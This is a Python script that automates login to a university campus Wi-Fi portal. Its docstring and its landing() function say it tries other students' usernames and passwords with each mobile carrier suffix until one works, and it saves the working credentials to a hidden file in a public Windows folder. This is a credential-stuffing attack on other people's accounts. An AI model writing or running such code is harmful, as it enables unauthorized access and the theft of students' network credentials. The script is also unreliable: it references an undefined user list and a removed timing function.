#!/usr/bin/env python
"""
1，查找并连接WiFi；                                            ok
2，通过“requests”模块来完成WiFi的自动登录；                   ok
    2.1：先使用自己的账号密码完成静态自动登录；                  ok
    2.2：使用全校学生的账号完成随机登录；                        ok
    2.3：连接后，把能连接成功的账号密码分别保存，方便后期使用；   ok
    2.4：第二次连接时首先验证 之前成功的；
3，返回结果，不成功继续。                                       ok
"""
# 第一步后期解决

import re
import time
import requests
import pywifi
from os import system

url_0 = r"http://172.30.4.129/a70.htm"
url_post = r"http://172.30.4.129/a70.htm?isReback=1"
url_host = r"http://172.30.4.129/"

operator_list = (('移动', "@cmcc"), ('联通', '@unicom '),  ('电信', '@telecom'))
post_information = {
    '0MKKey': '123456',
    'buttonClicked': '',
    'cmd': '',
    'DDDDD': '用户名@运营商代码',
    'err_flag': '',
    'Login': '',
    'para': '00',
    'password': '',
    'R1': '0',
    'R2': '',
    'R3': '0',
    'R6': '0',
    'redirect_url': '',
    'upass': '密码',
    'user': '',
    'username': ''}


def get_user_password():
    """从文件把用户名和密码变成列表方便遍历 """
    L = []
    with open(r"C:\Users\Public\Documents\.successful_password.ini", mode='r', encoding='utf-8') as user:
        for x in user:
            x = x.split("\t")
            list_ = x.pop()
            x.append(list_.split("\n")[0])
            L.append(x)
        return L


def wifi_find():
    wifi = pywifi.PyWiFi()
    card = wifi.interfaces()[0]
    card.scan()
    wifi_list = card.scan_results()
    for x in wifi_list:
        print(x.ssid)
        if x.ssid == "Huas-Student":
            return 1
    return 0


def wifi_interlinkage():
    wifi = pywifi.PyWiFi()  # 创建一个对象
    card = wifi.interfaces()[0]  # 选取一个网卡
    print(card.name())  # 输出网卡名称
    card.disconnect()  # 断开现有连接
    time.sleep(1)

    profile = pywifi.Profile()
    profile.ssid = "Huas-Student"
    card.connect(card.add_network_profile(profile))

    return 0


def initialize():
    url = requests.get(url_host)
    url.encoding = "gbk"
    url = url.text
    BOOL = re.search("注销页", url, )
    if BOOL is not None:
        return 1
    else:
        return 0


def write_success(x, i):
    s = "\t".join(x) + '\t' + "\t".join(i) + "\n"
    with open(r'C:\Users\Public\Documents/.successful_password.ini', mode='a', encoding='utf-8') as f:
        f.write(s)
    return 0


def landing():
    cyclic = 0
    requests.get(url_0)
    for x in all_users_list:
        post_information['upass'] = x[1]
        for i in operator_list:
            cyclic += 1
            post_information['DDDDD'] = x[0] + i[1]
            print(f"正在尝试第{cyclic}次登陆\t账号：{x[0]}\t密码：{x[1]}\t运营商：{i[0]}", end="\t")
            requests.post(url_post, data=post_information)
            if not initialize():
                print("登录失败")
                time.sleep(1)
            else:
                print("\n登录成功")
                write_success(x, i)
                return 0
    return 0


def landing_text():
    cyclic = 0
    success_list = get_user_password()
    for x in success_list:
        cyclic += 1
        post_information['DDDDD'] = x[0] + x[3]
        post_information['upass'] = x[1]
        print(f"正在尝试第{cyclic}次登陆\t账号：{x[0]}\t密码：{x[1]}\t运营商：{x[2]}", end="\t")
        requests.post(url_post, data=post_information)
        if not initialize():
            print("登录失败")
            time.sleep(1)
        else:
            print("\n登录成功")
            return 0
    if not landing():
        return 0


def choose_operation():
    while True:
        in_op = input("选择运营商，电信：1，移动：2，联通：3：")
        if in_op == "1":
            input_operation = ('电信', '@telecom')
            return input_operation
        elif in_op == "2":
            input_operation = ('移动', "@cmcc")
            return input_operation
        elif in_op == "3":
            input_operation = ('联通', '@unicom ')
            return input_operation
        else: print('输入错误')


if __name__ == "__main__":
    time.clock()
    print('正在检查网络...\n' + '*' * 60)
    n = 3
    while n:
        if system('@ping -n 1 -i 1 baidu.com'):
            print("*" * 60)
            try:
                print('正在准备登录...')
                landing_text()
                break
            except requests.exceptions.ConnectionError:
                wifi_find()
                wifi_interlinkage()
                print("连接失败，3s后重试")
                n -= 1
                time.sleep(3)
            except FileNotFoundError:
                print("没有找到配置文件，请输入你的校园网登录账户名和没密码...")
                in_user = [input("UserName:"), input("PassWord:")]
                in_operation = choose_operation()
                write_success(in_user, in_operation)
        else:
            print("*"*60, "\n电脑有链接，无需登录")
            break
    print('-'*60, "\n窗口2秒后关闭...")
    print(time.clock())
    time.sleep(2)
